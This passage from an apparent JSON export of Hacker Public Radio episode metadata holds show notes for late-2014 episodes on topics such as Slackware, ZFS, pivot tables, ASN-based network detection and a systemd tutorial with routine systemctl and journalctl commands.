      As part of Hacker Public Radio's continuing effort to showcase Creative Commons Works, we are proud to present GeekSpeak. GeekSpeak is produced as a radio show for community based station KUSP in Monterey CA, and rebroadcast as podcast, available from GeekSpeak.org. It is a generally a lighthearted and humorous general technology news show, with topics including electronics, computing, robotics, and green tech. Often guest speakers and authors from the technology world will come on for interviews. The shows are just about an hour long.

      \n

      The regular hosts are Bonnie Jean Primbsch, Lyle Troxell, Miles Elam, and Ben Jaffe (see GeekSpeak.org/geeks/for the full roster). You can often hear them thanking the \"Puppetmaster\" for letting them continue to use the name GeekSpeak. After broadcasting for several years, it was discovered the term \"GeekSpeak\" had been registered as a service mark by David Lawrence for a podcast of his own. You might remember Lawrence as the actor who played the character on \"Heroes\" with the telekinetic ability to physically manipulate other characters against their will.

      \n

      GeekSpeak has a long standing tradition of using Devo's \"Through Bein' Cool\" as intro music, so only those episodes that employ user contributed music instead are actually released Creative Commons. What you are about to hear, from the 1st of June of 2013, is just such an episode.

      \n

      Links

      \n ","hostid":158,"series":0,"explicit":0,"license":"CC-BY-NC-ND","tags":"Geek Speak, KUSP, Creative Commons, community radio, GeekSpeak.org","version":0,"downloads":0,"valid":1}, {"id":1653,"date":"2014-12-03","title":"Ruth Suehle at Ohio Linux Fest 2014","duration":2779,"summary":"Ruth Suehle reminds us all that hardware needs to be open too.","notes":"

      \nRuth Suehle gave the next-to-last keynote at Ohio LinuxFest 2014 on 2014-10-25. In this talk she discusses the significance of open hardware and maker culture, and how this is something we all should participate in. Maker culture is an essential part of the free and open culture we belive in when we talk about open source. And we need to be vigilant to protect our values in the hardware space. As an example she tells us about Bre Pettis and Makerbot, which at one time were very open, but have turned aginst this value as they became more successful. In the final analysis, it is up to us to protect open hardware by voting with our dollars/euros/whatever.\n

      ","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Open Hardware, Open Source, Open Specifications","version":0,"downloads":0,"valid":1}, {"id":1654,"date":"2014-12-04","title":"Using AS numbers to identify where you are on the Internet","duration":1204,"summary":"ASN uniquely identifies each network on the Internet","notes":"

      \nI have a laptop and I want it to use different configurations depending on where I am. If I’m on wifi at home, I don’t want my NAS mounted, but if I’m on a wired connection I do. If I’m at work I want to connect to various servers there. If I’m in the train I want to setup a vpn tunnel. You get the idea.\n

      \n

      \nMy solution to this was to approach it from the laptop and go out. So to look around and see what network I was on. There are a few ways to approach this, you could look at your IP address, the arp tables, try and ping a known server in each location. The issue with looking at an IP address is that most networks use Private Networks. Very soon you will find that the wifi coffee shop happens to have picked the same range as you use at home and now your laptop is trying to backup to their cash register.\n

      \n

      \nThen I was thinking that I’m approaching this problem from the wrong angle. Why not start with my public IP address range, which has to be unique, and work back from there to my laptop. From there I was planning on maintaining a look-up table of public IP addresses, along the lines of the GeoIP tools developed by MaxMind.\n

      \n

      \nBy Accident I found out that geoiplookup supports AS Number\n

      \n
      \nFrom WikiPedia: Autonomous System (Internet)
      \nhttps://en.wikipedia.org/wiki/Autonomous_System_%28Internet%29
      \nISP must have an officially registered autonomous system number (ASN). A unique ASN is allocated to each AS for use in BGP routing. AS numbers are important because the ASN uniquely identifies each network on the Internet.\n
      \n

      \nSo what that is saying is that every network in the Inter(connected)Net(work), must have it’s own unique AS Number. From there I was able to write a script to easily manage my laptops behaviour based on both location and connection type

      \n

      \nSee https://kenfallon.com/scripts-based-on-your-network-location/ for the complete article and scripts.

      \n\n\n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Autonomous System Number,ASN,geoiplookup","version":0,"downloads":0,"valid":1}, {"id":1655,"date":"2014-12-05","title":"43 - LibreOffice Calc - Creating Pivot Tables","duration":950,"summary":"How to create a Pivot Table","notes":"

      \nWe take a look at one of the most powerful, but somewhat frightening, features of modern spreadsheets. But knowing the basics of pivot tables should make themn a bit less frightening to the newcomer.\n

      \n\n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, pivot, tables","version":0,"downloads":0,"valid":1}, {"id":1656,"date":"2014-12-08","title":"My audio player collection","duration":1278,"summary":"I describe the collection of audio players I use for listening to podcasts","notes":"

      My Audio Player Collection

      \n

      I got broadband installed in my house in 2005 after I'd bought my first PC. I'd owned a lot of PCs before that, but they had all been cast-offs from the university I was working at, and I accessed the Internet via dial-up to my work.

      \n

      This was around the time I got sick of listening to the radio and first discovered podcasts, and so I decided I wanted a portable audio player (or MP3 Player as they tended to be called back then).

      \n

      Since then I have been listening to podcasts pretty much all of the time and have worked my way through a number of players. I thought it might be interesting if I chronicled the devices I have owned in the past 9-10 years.

      \n

      The full show notes for this episode are available at: hpr1656_full_shownotes.html

      \n

      Links

      \n\n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"audio player,podcast,Rockbox","version":0,"downloads":0,"valid":1}, {"id":1657,"date":"2014-12-09","title":"Hacking Gutenberg eBooks","duration":1623,"summary":"I talk about ebook formatting and how to customize an ebook from Project Gutenberg","notes":"

      Links to stuff I mentioned in the podcast:

      \n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ebooks, html, css, hacks","version":0,"downloads":0,"valid":1}, {"id":1658,"date":"2014-12-10","title":"Cool Stuff Part 2","duration":1177,"summary":"CPrompt talks about some more cool stuff that he has discovered","notes":"

      \nToday I Found Out: https://www.todayifoundout.com/\n

      \n

      \nDaily Knowledge Podcast: https://www.todayifoundout.com/index.php/category/podcast/\n

      \n

      \nCommand Line Tips: using CTRL + Left / Right arrow will allow you to move through a long command word by word instead of moving through each letter. Makes making adjustments to a long command much quicker.
      \nUse the \"cd -\" to move back and forth between previous directories. cd into a directory, then cd into a different one. Now do \"cd -\" and you will be back to the first directory. \n

      \n

      \nXFCE : script that uses xdtool to move window from one monitor to the next https://makandracards.com/makandra/12447-how-to-move-a-window-to-the-next-monitor-on-xfce-xubuntu\n

      \n

      \nHyperkin Pixel Art Controller: https://hyperkin.com/hyperkin-pixel-art-controller-for-pc-mac-computers-1265.html. Use with the SNES9x emulator. Works very well\n

      \n","hostid":252,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Today I Found Out,Daily Knowledge Podcast,command line,XFCE,Hyperkin Pixel Art Controller","version":0,"downloads":0,"valid":1}, {"id":1659,"date":"2014-12-11","title":"OggCamp Interview with Jon Archer","duration":564,"summary":"A short interview with Jon Archer, UK Fedora Ambassador. ","notes":"

      In today's show, Philip Newborough interviews Jon Archer, the UK Fedora Ambassador.

      \n\n

      In the interview, Philip and Jon discuss:

      \n\n
        \n
      • Jon's role as a Fedora Ambassador
      • \n
      • Recent happenings in the land of Fedora
      • \n
      • Jon's involvement with the new UK Fedora Podcast
      • \n
      \n\n

      The interview was conducted at OggCamp 14, a free culture unconference, held in Oxford UK on the weekend of October 4th-5th 2014.

      \n","hostid":287,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"oggcamp,oggcamp14","version":0,"downloads":0,"valid":1}, {"id":1660,"date":"2014-12-12","title":"Trying out Slackware","duration":3926,"summary":"Slackware-newbie Beni is talking to long time Slackware user mcnalu","notes":"

      \nmcnalu wrote a article about Slackware in Linux Voice, Issue 6.\n

      \n\"tux\n

      \nhttps://www.linuxvoice.com/issue-6/\n

      \n

      \nBeni read this article which lead to him trying out Slackware and being very\nimpressed by its simplicity.\n

      \n

      \nThat's why he asked mcnalu to do a HPR episode about Slackware, which is\nprobably the oldest Linux Distro that's still around and whose developer follows\na no-nonsense strategy and is very conservative when it comes switching to new\nstuff that comes up in the Linux world (like PAM or systemd)\n

      \n

      \nThe distro is one of the if not the most Unix-like Linux distro. It uses a BSD\nstyle init system instead of widely used sysvinit.\n

      \n

      \nBeni and mcnalu talk about the installation process, finding documentation and\nwhy the website is outdated.\n

      \n

      \nFurther they discuss the package manager and what it means that it doesn't\nresolve dependencies. They also explain why this isn't necessarily a bad\nthing and where to find binary packages.\n

      \n

      \nIn the end they talk about where the Slackware community meets and who is in\ncharge of Slackware.\n

      \n

      \nhttps://www.slackware.com/\nhttps://en.wikipedia.org/wiki/Slackware\n

      \n

      \nSlackware documentation isn't as good the BSDs documentation or the Arch\nWiki. But it's definitely getting better\n

      \n

      \nhttps://docs.slackware.com/\n

      \n

      \nand there is also 'Slackware essentials', a book that's also available online:\n

      \n

      \nhttps://www.slackware.com/book/\n

      \n

      \nThe Slackware forum on Linux Questions is pretty much the official Slackware\nforum:\nhttps://www.linuxquestions.org/questions/slackware-14/\n

      \n

      \nmcnalu announced his Article in the Linux Questions forum:\nhttps://www.linuxquestions.org/questions/slackware-14/linux-voice-issue-6-a-4175513762/\n

      \n

      \nTo support the development of Slackware you could buy yourself a Christmas\npresent from the Slackware store:\n

      \n

      \nhttps://store.slackware.com\n

      \n","hostid":288,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"slackware, distro, linux","version":0,"downloads":0,"valid":1}, {"id":1661,"date":"2014-12-15","title":"OggCamp Interview with Paul Tansom","duration":701,"summary":"A short interview with Paul Tansom of Code Club.","notes":"

      In today's show, Philip Newborough interviews Paul Tansom, a regional co-ordinator for Code Club.

      \n\n

      In the interview, Philip and Paul discuss:

      \n\n
        \n
      • What's involved in being a Code Club volunteer
      • \n
      • How to get involved
      • \n
      • How Code Club and the UK national curriculum compliment each other
      • \n
      • Code Club Pro
      • \n
      \n\n

      The interview was conducted at OggCamp 14, a free culture unconference, held in Oxford UK on the weekend of October 4th-5th 2014.

      \n","hostid":287,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"oggcamp,oggcamp14","version":0,"downloads":0,"valid":1}, {"id":1662,"date":"2014-12-16","title":"LinuxLugCast Episode-001 Outtakes","duration":5122,"summary":"Preshow and aftershow banter that does not get published through our normal feeds.","notes":"

      \nSome good content that we do not publish.\n

      \n

      \nhttps://linuxlugcast.com/
      \nhttps://linuxlugcast.com/?p=75\n

      ","hostid":265,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"linuxlugcast,outtakes","version":0,"downloads":0,"valid":1}, {"id":1663,"date":"2014-12-17","title":"Interview with Greg Greenlee Founder of Blacks In Technology","duration":3749,"summary":"Blacks In Technology is a tech focused community focused on increasing diversity in technology.","notes":"

      \nIn todays show, Ken interviews Greg Greenlee Founder of Blacks In Technology\n

      \n

      \nThe RSS Feed: https://www.spreaker.com/user/6698969/episodes/feed\n

      \n

      \nBlacks In Technology is a tech focused community and media organization focused on increasing diversity in technology. Blacks In Technology's mission is to increase visibility, participation, and change the perception of people of African descent in technology through community focused activities, events and media. Blacks In Technology (BIT) is \"Stomping the Divide\" by establishing a blueprint of world class technical excellence and innovation by providing resources, guidance and issuing a challenge to our members to surpass the high mark and establish new standards of global innovation.\n

      \n

      Links

      \n\n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Blacks in Technology,diversity,technology","version":0,"downloads":0,"valid":1}, {"id":1664,"date":"2014-12-18","title":"Life and Times of a Geek part 1","duration":1614,"summary":"I've been using computers for more than 40 years. This is part 1 of my story","notes":"

      Life and Times of a Geek - part 1

      \n

      I really liked David Whitman's idea of doing a show on his birthday https://hackerpublicradio.org/eps/hpr1547/index.html, so I'm borrowing the idea.

      \n

      This show is being released on my 65th birthday, and I decided to use this opportunity to tell you about my long experience with computational devices as part of the series "How I Found Linux". Thinking about what I want to cover, I realise that it might be quite a lot, so I'm organising the shows into a collection of short episodes.

      \n

      I have been thinking about doing this for a while. Up until now I was concerned that it would be a bit self-indulgent, but I have been advised to just go ahead and do it. I hope you find the shows interesting.

      \n

      The full notes for this episode are to be found here: hpr1664_full_notes.html

      \n

      Links

      \n\n","hostid":225,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"computer,mainframe,programming,punched card,paper tape,teletype,graph plotter,ALGOL 60","version":0,"downloads":0,"valid":1}, {"id":1665,"date":"2014-12-19","title":"44 - LibreOffice Calc - Working With Pivot Tables","duration":652,"summary":"When you have a pivot table, what are some of the things you can do with it to analyze your data?","notes":"

      We take a look at one of the most powerful, but somewhat frightening, features of modern spreadsheets. But knowing the basics of pivot tables should make them a bit less frightening to the newcomer.

      \n ","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, pivot, tables","version":0,"downloads":0,"valid":1}, {"id":1666,"date":"2014-12-22","title":"Bare Metal Programming on the Raspberry Pi (Part 3)","duration":4158,"summary":"This episode, embedded programming, ARM co-processors and the ARM memory management unit.","notes":"

      \nThis is the third episode in a series on bare metal programming on the Raspberry\nPi. This episode rounds out my initial stab at doing a series on RPI embedded\nprogramming based on my summer vacation project. This episode discusses how to \nwrite code with an eye towards using it in an embedded environment. It \ncontinues with a discussion of how coprocessors fit into the ARM architecture.\nIt also describes how to manage coprocessors programatically in a very hackerish\nway using self-modifying code. Finally, the episode describes how to enable the\nvirtual memory subsystem in the ARM as well as the cache. It includes some\nperformance measurements of my code both with and without the cache enabled.\n

      \n

      \nHere is some of the source material that I reference in this episode. See\nthe previous episode show notes for information on how to get your own\nbare metal Raspberry Pi setup up and running.\n

      \n\n

      CATRPI

      \n\n
        \n
      • Homepage: https://gitorious.org/catrpi\n
      • \n
      • Git repo: git://gitorious.org/catrpi/catrpi.git\n
      • \n
      • My own repository of code that I wrote during this little project.\n
      • \n
      \n\n

      Hacker's Delight by Henry S. Warren Jr.

      \n\n
        \n
      • https://www.hackersdelight.org/\n
      • \n
      • A fantastic book on low level computer mathematics. I find it a joy to read.\n I cannot recommend it highly enough. It belongs on anyone's shelf next\n to Knuth and other \"programming bibles\".\n
      • \n
      \n\n

      ARM ARM

      \n\n\n\n

      ARM TRM

      \n\n\n\n

      dwelch67's bare metal repository

      \n\n","hostid":259,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi,programming,ARM,co-processor,memory management unit","version":0,"downloads":0,"valid":1}, {"id":1667,"date":"2014-12-23","title":"How to start a Blog","duration":798,"summary":"How to start a blog and why you might want to","notes":"

      \nSo you want to start a blog?\n

      \n

      \nHere are some of the tings to think about:\n

      \n\n
        \n
      • Why do you want to do a blog?\n
      • \n
      • What do you want to say?\n
      • \n
      • Who are your audience?\n
      • \n
      • Do you mean to promote the blog to a wider audience or do you just want to write?\n
      • \n
      \n\n

      \nThere are a number of popular and well known blogging engines and \nservices, these are just some of them:\n

      \n\n\n\n

      \nNikola is an excellent system for creating a web-site that includes \nboth static pages and a blog. It has been covered before on HPR and \nit was that show that started me using it.\n

      \n\n\n\n

      Links

      \n\n

      \nHere are links to a couple of my blogs:\n

      \n\n","hostid":291,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Blog, wordpress, drupal, nikola, journal","version":0,"downloads":0,"valid":1}, {"id":1668,"date":"2014-12-24","title":"Nixstaller","duration":3016,"summary":"Klaatu talks about Nixstaller. Packaging applications for GNU Linux and BSD","notes":"

      \nCross-distro and -POSIX packages are easy with Nixstaller. (Note that\nthis pre-dates and is entirely unrelated to NixOS or Nix packages.)\n

      \n

      \nDownload Nixstaller from https://nixstaller.sourceforge.net and read\nthe docs there.\n

      \n

      \nReview the sample package templates included in the examples dir.\n

      \n

      \nGenerate an empty template dir with genprojdir.sh\n

      \n

      \nModify the config.lua and run.lua files to suit your needs.\n

      \n

      \nPlace your payload(s) into the appropriate folders.\n

      \n

      \nGenerate your re-distributable install file with geninstall.sh:\n

      \n

      \ngeninstall foo-1.0.0 foo.run\n

      \n

      \nThat's it!\n

      ","hostid":78,"series":63,"explicit":0,"license":"CC-BY-SA","tags":"Nixstaller,packaging,GNU Linux,BSD","version":0,"downloads":0,"valid":1}, {"id":1669,"date":"2014-12-25","title":"New Retro Computing","duration":1053,"summary":"NYbill talks about building a Micromite Companion ","notes":"

      \nSorry for the bad audio in places here. My mic was giving me troubles. Also, I know I called MythTV, Mythbox. (Mythbox was the name I gave the computer that ran MythTV here way back when.)\n

      \n\n

      Links

      \n\n","hostid":235,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Micromite Companion,BASIC","version":0,"downloads":0,"valid":1}, {"id":1670,"date":"2014-12-26","title":"Digital Signatures and Certificates","duration":1060,"summary":"This episode looks at secure connections between users and Web sites.","notes":"

      \nDigital Signatures are something that is very important in understanding security on the Internet. While we have seen it in the context of personal e-mail, the applications are much broader, in particular to the use of certificates to establish communication.\n

      \n

      \nRecall from our discussion of e-mail that there are two things you can do with an e-mail using PGP or GPG. First is you can encrypt the message, which you do using the public key of the recipient, and then they can decrypt the message using their private key. The other was putting a digital signature on a message. But how does that work? - For more go to https://www.zwilnik.com/?page_id=655\n

      \n

      \nLinks:\n

      \n\n ","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"TLS, SSL, Certificates","version":0,"downloads":0,"valid":1}, {"id":1671,"date":"2014-12-29","title":"LinuxLugCast Episode-002 Outtakes","duration":4913,"summary":"Some good content that we do not publish","notes":"

      \nPreshow and aftershow banter that does not get published through our normal feeds. \n

      \nhttps://linuxlugcast.com/?p=115","hostid":265,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"linuxlugcast,outtakes","version":0,"downloads":0,"valid":1}, {"id":1672,"date":"2014-12-30","title":"Systemd for Learner Drivers ","duration":1288,"summary":"How to drive systemd, without crashing the vehicle through arguing with your passenger.","notes":"

      systemd For Learner Drivers

      \n

      A graphic to help out: hpr1672.svg

      \n

      This is a subject that attracts controversy, but I am not today going to be controversial, I hope. Many Linux systems are moving away from SysV Init and adopting systemd instead; both Linuxes that I use, Fedora and Mint have adopted systemd, and I understand that Debian has now forked to allow both sides of the argument to have their way. I am not going to get into the debate here. My personal stance is that I see both sides of the argument and I will continue to perch on top of the fence until systemd either proves itself or fails to do so.

      \n

      In this HPR I am going to try to fill a gap that I have seen in the systemd discussion; that is - how to operate it. I am not an expert on systemd, I have just tried to work it, and in doing so I have fished around in my file system and in the documentation. If you want to know what I found, then keep on listening. By way of opening I will remind myself, and you also, what systemd is replacing.

      \n

      SysV initd works with runlevels, the most common being

      \n
        \n
      • 5 for graphical multiuser networked
      • \n
      • 3 for cli multiuser networked
      • \n
      • 1 for single user
      • \n
      • 6 for reboot
      • \n
      • 0 for halt
      • \n
      \n

      In moving to a runlevel, unwanted services are shut down and wanted services are started up. For most users on most systems the most appropriate default runlevel is 5 giving multiuser, GUI & networking. Services can be started and stopped on demand by inetd.

      \n

      systemd works differently. It has target units. For most users on most systems the most appropriate default target is the graphical.target, which does a similar thing to runlevel 5 . Units are configured by unit configuration files. These files may start other units and stop other units. They can impose sequence and dependancies. There is a lot of cascading going on, with unit launching unit launching unit. Units also can be started and stopped on demand by systemd.

      \n

      Units

      \n

      The term Unit refers to a resource that systemd is taking under its control. There are 12 different types of Unit.

      \n
      \n
      systemd.service
      \n
      that starts/stops daemons
      \n
      systemd.socket
      \n
      activates network connections
      \n
      systemd.device
      \n
      activates kernel devices
      \n
      systemd.mount
      \n
      controls mount points
      \n
      systemd.automount
      \n
      provides on-demand mounting of file systems
      \n
      systemd.swap
      \n
      does for swap what systemd.mount does for filesystems
      \n
      systemd.scope
      \n
      starts/stops external processes
      \n
      systemd.target
      \n
      groups of services akin to init level 3, init level 5
      \n
      systemd.snapshot
      \n
      saves/restores the momentary state of other units
      \n
      systemd.timer
      \n
      triggers units based on date/time
      \n
      systemd.path
      \n
      trigger units based on changes in file system objects
      \n
      organises units in a hierarchical tree of cgroups, for resource management purposes
      \n
      \n

      Units files called by systemd live in /etc/systemd/system. But these are symbolic links to the real ones stored in /usr/lib/systemd/system

      \n

      There is a parallel /etc/systemd/user structure which does not seem to do anything on my computers, so I work for now like its not there.

      \n

      There is also a /run/systemd/system structure which appears to contain runtime configuration files with names like session-xxxx.scope. These are the unit type for external processes.

      \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
      Table 1. Directory structure for systemd
      PathDescription
      /etc/systemd/systemLocal configuration
      /etc/systemd/userUser configuration
      /run/systemd/systemRuntime units
      /usr/lib/systemd/systemUnits of installed packages
      \n

      Directives

      \n

      The next thing we need is Directives.

      \n

      The unit configuration files contain directives to start/stop a unit, and directives that cascade to other unit configuration files that start/stop dependant units. Directives may impose conditions on whether or when to call a unit. There are a whole bunch of different directives listed in man systemd.unit. These are a few.

      \n
        \n
      • Requires= list of units to start. If any required units fail then abort this one
      • \n
      • Conflicts= list of units to stop
      • \n
      • After= the order in which units will start
      • \n
      • Before= the order in which units will start
      • \n
      • Wants= list of units to start. If any fail just continue anyway
      • \n
      \n

      As well wanted units listed by the WANTS directive, there may also be a 'wants' directory below the unit directory. So the unit conf file /etc/systemd/system/default.target will cause two further unit conf files to be read in from the /etc/systemd/system/default.target.wants/ directory.

      \n

      Each required unit and wanted unit from the directives, as well as those in the wants directory are added to a job queue. If directives cascade to other unit files containing more directives then all of these dependences are also added to the job queue. A directive may start or stop another unit, or that change the detail of a job already in the queue. All directives ultimately cascade down to starting or stopping one of the base units in /usr/lib/systemd/system.

      \n

      To get a feel for how this all pans out in practice I will walk us through the cascade of unit files from bootup.

      \n

      From Bootup

      \n

      First, the default.taget is activated, which on my system is just a link to graphical.target

      \n

      graphical.target

      \n[Unit]\nDescription=Graphical Interface\nDocumentation=man:systemd.special(7)\nRequires=multi-user.target\nAfter=multi-user.target\nConflicts=rescue.target\nWants=display-manager.service\nAllowIsolate=yes\n

      Cascades to

      \n
        \n
      • start multi-user.target
      • \n
      • start display-manager.service
      • \n
      • stop rescue.target
      • \n
      \n

      Also we have a wants directory /etc/systemd/system/graphical.target.wants/ that

      \n
        \n
      • starts accounts-daemon.service (for logging)
      • \n
      • starts rtkit-daemon.service (for realtime scheduling)
      • \n
      \n

      multi-user.target

      \n

      graphical target cascaded to multi-user.target.

      \n[Unit]\nDescription=Multi-User System\nDocumentation=man:systemd.special(7)\nRequires=basic.target\nConflicts=rescue.service rescue.target\nAfter=basic.target rescue.service rescue.target\nAllowIsolate=yes\n

      Cascades to

      \n
        \n
      • start basic.target
      • \n
      • stop rescue.service
      • \n
      • stop rescue.target (again)
      • \n
      \n

      Also we have a wants directory /etc/systemd/system/multi-user.target.wants/ that

      \n- abrt-ccpp.service\n- abrtd.service\n- abrt-oops.service\n- abrt-vmcore.service\n- abrt-xorg.service\n- atd.service\n- auditd.service\n- avahi-daemon.service\n- chronyd.service\n- crond.service\n- cups.path\n- irqbalance.service\n- libvirtd.service\n- mcelog.service\n- mdmonitor.service\n- NetworkManager.service\n- nfs.target\n- remote-fs.target\n- rngd.service\n- rpcbind.service\n- rsyslog.service\n- smartd.service\n- vmtoolsd.service\n

      display-manager.service

      \n

      graphical.target also cascaded to display-manager.service which is not present on F20 so I guess we don't need it.

      \n

      basic.target

      \n

      So multiuser.target cascaded to basic.target, which itself cascades to

      \n- sysinit.target\n- sockets.target\n- timers.target\n- paths.target\n- slices.target\n- firewalld.service\n

      sysinit.target

      \n

      basic.target cascaded to sysinit.target which itself cascades to

      \n- local-fs.target \n- swap.target\n- dmraid-activation.service\n- iscsi.service\n- lvm2-monitor.service\n- multipathd.service ( which looks like all the file system daemons)\n

      sockets.target

      \n

      basic.target also cascaded to sockets.target which itself cascades to

      \n- avahi-daemon.socket\n- cups.socket\n- dm-event.socket\n- iscsid.socket\n- iscsiuio.socket\n- lvm2-lvmetad.socket\n- rpcbind.socket\n

      End point

      \n

      Now we start reaching the end-points of this trail at

      \n- systemd.sockets\n- systemd.timer\n- systemd.path\n- systemd.slice\n- systemd-fstab-generator\n

      By the time all of that has finished, if I type the command

      \n

      # systemctl list-units --type service

      \n

      I see that 58 services are listed as running

      \n

      Running and Configuring Services

      \n

      If we are going to work with systemd we will have to give it instructions. In systemd parlance

      \n
        \n
      • active = running, currently in use
      • \n
      • loaded = enabled, available for use
      • \n
      \n

      These terms crop up in the output from commands

      \n

      Many instructions are given to systemd by the systemctl command.

      \n

      Now to compare line up some common SysV init tasks with their systemd equivalent

      \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
      Table 2. SysV init commands and their systemd equivalents
      commandSysV Initsystemd
      Check status# service bluetooth status# systemctl status bluetooth
      Start# service bluetooth start# systemctl start bluetooth
      Stop# service bluetooth stop# systemctl stop bluetooth
      Enable# chkconfig --level 35 ntpd on# systemctl enable ntpd
      Disable# chkconfig --level 35 ntpd off# systemctl disable ntpd
      \n

      Journalctl Logging

      \n

      Much has been said about the desirability or otherwise of binary logs, but systemd gives us these so we had better know what to do with them.

      \n

      Journal instructions are given to systemd by the journalctl command

      \n
      \n
      To view all log entries in one go. This is verbose, mine came out at ~9000 lines
      \n
      # journalctl
      \n
      To view from a specific date
      \n
      # journalctl --since=\"2014-05-07\"
      \n
      To view kernel logs
      \n
      # journalctl -k
      \n
      To follow a log in realtime ... and then to close
      \n
      # journalctl -f
      ...
      # ctl-c
      \n
      To view log entries associated with a given PID
      \n
      # journalctl _PID=1
      \n
      To view log entries associated with a given service
      \n
      # journatlctl -u bluetooth
      \n
      \n

      Interrogating the system

      \n

      More systemd information

      \n
      \n
      Get/Set system information. Works like uname, but is more verbose
      \n
      # hostnamectl
      \n
      Get/Set timezone & timedate info
      \n
      # timedatectl
      \n
      \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
      Table 3. SysV init information and their systemd equivalents
      SysV Init InfoSysV Init commandsystemd infosystemd command
      What services are available for init.d to manage# ls /etc/init.dWhat service units are available for systemd to run# systemctl list-units --type service --all
      What services are configured to be run by init.d for each run level# chkconfig --listWhat service units are currently active# systemctl list-units --type service
      \n

      References

      \n \n","hostid":284,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"systemd, tutorial, howto","version":0,"downloads":0,"valid":1}, {"id":1673,"date":"2014-12-31","title":"How I use ZFS on Linux","duration":1037,"summary":"The ZFS file system and how I use it under Linux.","notes":"

      \nOn the show today, I will tell you about how I use the ZFS file system on my home server. I also go into some details about how I came to use the ZFS, especially under Linux. I also tell you about a certain pitfall I ran into with the hard drives I chose for ZFS. And finally, I will refer you back to HPR episode 1600 by JWP for more information about ZFS, as he goes into great detail about it and its history.\n

      \n\n

      Links

      \n\n","hostid":292,"series":77,"explicit":0,"license":"CC-BY-SA","tags":"ZFS, zfsonlinux, linux","version":0,"downloads":0,"valid":1}, {"id":1674,"date":"2015-01-01","title":"2014-2015 New Year Show Part 1 of 8","duration":12840,"summary":"The first 4 hours of the 2014 to 2015 New Year Show.","notes":"2014-12-31T10:00:00Zhpr1674 :: New Year Show Part 1 of 8https://hackerpublicradio.org/eps.php?id=1674Welcome to the 4th Annual Hacker Public Radio show. It is December the 31st 2014 and the time is 10 hundred hours UTC. We start the show by sending Greetings to Christmas Island/Kiribati and Samoa Kiritimati, Apia.Announcements: Even with editors  volunteering, we need some folks to record as backup (Ken said ogg is  fine). Bruce Patterson is looking for a new host for the Distrowatch  Weekly Podcast fixing 5150s mike problems because he was half alseep.   Talking new PC and components prices and construction theory2014-12-31T10:15:00ZIt is December the 31st 2014 and the time is 10 15 hundred hours UTC 
      • Greetings to Chatham Islands/New Zealand Chatham Islands.
      • Marcus cobra2 and 5150 talk  movies, the ease of use of HPR, focusing on one topic when podcasting   We talk Canadian and New Zealand TV.  Steam on Linux. 2014-12-31T11:00:00Z
        • Greetings to New Zealand with exceptions and 5 more  Auckland, Suva, Wellington, Nukualofa.
        • FiftyOneFifty and Dudeman discuss single board computers, being on fire, and herding cattle.  The cameras dude-man uses with Zone-Minder https://www.hikvision.com/Es/Products_show.asp?id=7326  Various old man ailments, diet and exercise.2014-12-31T12:00:00Z
          • Greetings to small region of Russia, Marshall Islands and 5 more Anadyr, Funafuti, Yaren, Tarawa.
          • Time zones again tailoring your distro to get what you want2014-12-31T12:30:00Z
            • Greetings to Norfolk Island, Kingston.
            • Efficient Ubuntu spins to put on older hardware2014-12-31T13:00:00Z
              • Greetings to much of Australia and 5 more  Melbourne, Sydney, Canberra, Honiara.
              • Announcement: Bruce Patterson is looking for a new host for the Distrowatch Weekly Podcast  The N900, and mobile Linux computing2014-12-31T13:30:00Z
                • Greetings to small region of Australia Adelaide, Broken Hill.
                • Zoneminder and a Pi connected to a webcam","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2015","version":0,"downloads":0,"valid":1}, {"id":1675,"date":"2015-01-02","title":"2014-2015 New Year Show Part 2 of 8","duration":11580,"summary":"New Year Show Part 2 from 14:00 to 18:00","notes":"2014-12-31T14:00:00Z
                  hpr1675 :: New Year Show Part 2 of 8
                  https://hackerpublicradio.org/eps.php?id=1675
                  \n
                    \n
                  • Greetings to Queensland/Australia and 5 more Brisbane, Port Moresby, Guam, Cairns.
                    \n
                    \n
                  • \n
                  2014-12-31T14:30:00Z
                  \n
                  \n
                    \n
                  • Greetings to Northern Territory/Australia, Darwin, Alice Springs, Uluru.
                  • \n
                          Flying Rich arrives!
                  \n 2014-12-31T15:00:00Z
                  \n
                  \n 2014-12-31T15:15:00Z
                  \n
                  \n 2014-12-31T16:00:00Z
                  \n
                  \n 2014-12-31T17:00:00Z
                  \n
                  \n
                    \n
                  • Greetings to much of Indonesia, Thailand and 7 more: Jakarta, Bangkok, Hanoi, Phnom Penh.
                  • \n
                  • We're off by one!
                  • \n
                  • Broam pokes Pegwole for some photography gear talk
                  • \n
                  • Etymology of IRC handles / nicknames
                  • \n
                  • RP - https://en.wikipedia.org/wiki/Received_Pronunciation
                  • \n
                  • Which shortcut key to use in mumble?
                  • \n
                  • thistleweb sayings \"
                    \n
                    \n
                  • \n
                  2014-12-31T17:30:00Z
                  \n
                  \n
                    \n
                  • Greetings to Myanmar and Cocos Islands, Yangon, Naypyidaw, Mandalay, Bantam.
                  • \n
                  • Dude man has us wondering what \"1 inch below is worth 2 above\" 
                  • \n
